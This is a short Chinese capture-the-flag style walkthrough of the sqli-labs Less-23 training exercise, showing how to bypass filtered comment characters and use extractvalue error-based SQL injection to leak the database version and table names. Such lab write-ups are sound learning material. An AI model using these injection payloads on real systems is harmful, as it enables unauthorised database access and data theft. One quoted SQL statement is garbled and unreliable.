sqli labs less 23

看到题目根据提示输入id。
输入id=1 正常
输入id=1’ 报错,如下图:
sqli labs less 23
知道是单引号闭合语句。
接下来按照一般的套路来输入:id=-1’ or 1 --+ 报错信息如下。
sqli labs less 23
从这个报错信息看出来是在单引号地方出错,可能是语句没有闭合。再加一个括号看看能不能报出更多的语句信息。
输入:id=-1’) or 1 --+
sqli labs less 23
从这可以看出来,–+ 被屏蔽了。然后让注释符换成# ,结果#号也被屏蔽。
我们知道sql语句为:sql="SELECTFROMusersWHEREid=sql="SELECT * FROM users WHERE id='id’ LIMIT 0,1";
我们在这里需要闭合单引号。
SELECT * FROM users WHERE id=‘id and ‘1’='1’ LIMIT 0,1
发现这样闭合语句是可行的。
输入:id=1’and’1’=‘1
sqli labs less 23
接下来就可以使用报错注入了。
输入:id=1’and extractvalue(1,concat(0x7e,version()))and’1’=‘1
sqli labs less 23
发现可以使用报错注入。
接下来输入:id=1’and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))and’1’='1
sqli labs less 23